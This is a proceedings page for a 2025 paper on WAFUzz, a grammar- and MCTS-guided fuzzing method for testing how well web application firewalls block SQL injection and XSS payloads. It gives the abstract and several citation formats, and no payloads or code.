WAFUzz:A Fuzz-based WAF protection function testing technology

Enhui Mao, Danbo Li, Xuexiong Yan
Proceedings of 2025 2nd International Conference on Machine Learning and Intelligent Computing, PMLR 278:560-572, 2025.

Abstract

Web Application Firewalls (WAFs) are designed to detect and intercept potentially malicious HTTP requests, thereby protecting web applications from various attacks. However, if the WAF’s rule set and detection strategy are flawed, its protection function may fail under certain conditions, making it difficult to ensure comprehensive application security. Existing WAF protection testing methods either rely on fixed attack payload datasets, which may lead to inefficient testing due to dataset limitations, or use machine learning to pre-train adversarial WAF models, which are not suitable for testing WAF services deployed in the real world. To address this issue, we propose a new WAF evaluation technique based on fuzz testing. This method uses context-free grammars to generate diverse attack payloads and combines Monte Carlo Tree Search (MCTS) to optimize mutation paths, thereby achieving systematic testing of WAF defense measures. Specifically, we predefine context-free grammars for SQL injection (SQLi) and cross-site scripting (XSS) based on expert knowledge to generate the initial input for fuzz testing and serve as seed payloads for subsequent mutations. Then, MCTS guides the mutation process by dynamically adjusting node weights to prioritize the exploration of promising paths, thereby improving test efficiency and effectiveness. Experimental results show that our approach reduces the protection failure rate of SQLi and XSS to 48.80% and 37.80%, respectively, outperforming benchmark tools such as WAF-A-MOLE and SqlMap. In addition, the invalid payload rate is also reduced to 5.63% and 6.72% for SQLi and XSS, and the number of WAF queries is reduced by more than 22 times, demonstrating the excellent evaluation efficiency of our approach.

Cite this Paper

BibTeX
@InProceedings{pmlr-v278-mao25a, title = {WAFUzz:A Fuzz-based WAF protection function testing technology}, author = {Mao, Enhui and Li, Danbo and Yan, Xuexiong}, booktitle = {Proceedings of 2025 2nd International Conference on Machine Learning and Intelligent Computing}, pages = {560--572}, year = {2025}, editor = {Zeng, Nianyin and Pachori, Ram Bilas and Wang, Dongshu}, volume = {278}, series = {Proceedings of Machine Learning Research}, month = {25--27 Apr}, publisher = {PMLR}, pdf = {https://raw.githubusercontent.com/mlresearch/v278/main/assets/mao25a/mao25a.pdf}, url = {https://proceedings.mlr.press/v278/mao25a.html}, abstract = {Web Application Firewalls (WAFs) are designed to detect and intercept potentially malicious HTTP requests, thereby protecting web applications from various attacks. However, if the WAF’s rule set and detection strategy are flawed, its protection function may fail under certain conditions, making it difficult to ensure comprehensive application security. Existing WAF protection testing methods either rely on fixed attack payload datasets, which may lead to inefficient testing due to dataset limitations, or use machine learning to pre-train adversarial WAF models, which are not suitable for testing WAF services deployed in the real world. To address this issue, we propose a new WAF evaluation technique based on fuzz testing. This method uses context-free grammars to generate diverse attack payloads and combines Monte Carlo Tree Search (MCTS) to optimize mutation paths, thereby achieving systematic testing of WAF defense measures. Specifically, we predefine context-free grammars for SQL injection (SQLi) and cross-site scripting (XSS) based on expert knowledge to generate the initial input for fuzz testing and serve as seed payloads for subsequent mutations. Then, MCTS guides the mutation process by dynamically adjusting node weights to prioritize the exploration of promising paths, thereby improving test efficiency and effectiveness. Experimental results show that our approach reduces the protection failure rate of SQLi and XSS to 48.80% and 37.80%, respectively, outperforming benchmark tools such as WAF-A-MOLE and SqlMap. In addition, the invalid payload rate is also reduced to 5.63% and 6.72% for SQLi and XSS, and the number of WAF queries is reduced by more than 22 times, demonstrating the excellent evaluation efficiency of our approach.} }
Endnote
%0 Conference Paper %T WAFUzz:A Fuzz-based WAF protection function testing technology %A Enhui Mao %A Danbo Li %A Xuexiong Yan %B Proceedings of 2025 2nd International Conference on Machine Learning and Intelligent Computing %C Proceedings of Machine Learning Research %D 2025 %E Nianyin Zeng %E Ram Bilas Pachori %E Dongshu Wang %F pmlr-v278-mao25a %I PMLR %P 560--572 %U https://proceedings.mlr.press/v278/mao25a.html %V 278 %X Web Application Firewalls (WAFs) are designed to detect and intercept potentially malicious HTTP requests, thereby protecting web applications from various attacks. However, if the WAF’s rule set and detection strategy are flawed, its protection function may fail under certain conditions, making it difficult to ensure comprehensive application security. Existing WAF protection testing methods either rely on fixed attack payload datasets, which may lead to inefficient testing due to dataset limitations, or use machine learning to pre-train adversarial WAF models, which are not suitable for testing WAF services deployed in the real world. To address this issue, we propose a new WAF evaluation technique based on fuzz testing. This method uses context-free grammars to generate diverse attack payloads and combines Monte Carlo Tree Search (MCTS) to optimize mutation paths, thereby achieving systematic testing of WAF defense measures. Specifically, we predefine context-free grammars for SQL injection (SQLi) and cross-site scripting (XSS) based on expert knowledge to generate the initial input for fuzz testing and serve as seed payloads for subsequent mutations. Then, MCTS guides the mutation process by dynamically adjusting node weights to prioritize the exploration of promising paths, thereby improving test efficiency and effectiveness. Experimental results show that our approach reduces the protection failure rate of SQLi and XSS to 48.80% and 37.80%, respectively, outperforming benchmark tools such as WAF-A-MOLE and SqlMap. In addition, the invalid payload rate is also reduced to 5.63% and 6.72% for SQLi and XSS, and the number of WAF queries is reduced by more than 22 times, demonstrating the excellent evaluation efficiency of our approach.
APA
Mao, E., Li, D. & Yan, X.. (2025). WAFUzz:A Fuzz-based WAF protection function testing technology. Proceedings of 2025 2nd International Conference on Machine Learning and Intelligent Computing, in Proceedings of Machine Learning Research 278:560-572 Available from https://proceedings.mlr.press/v278/mao25a.html.

Related Material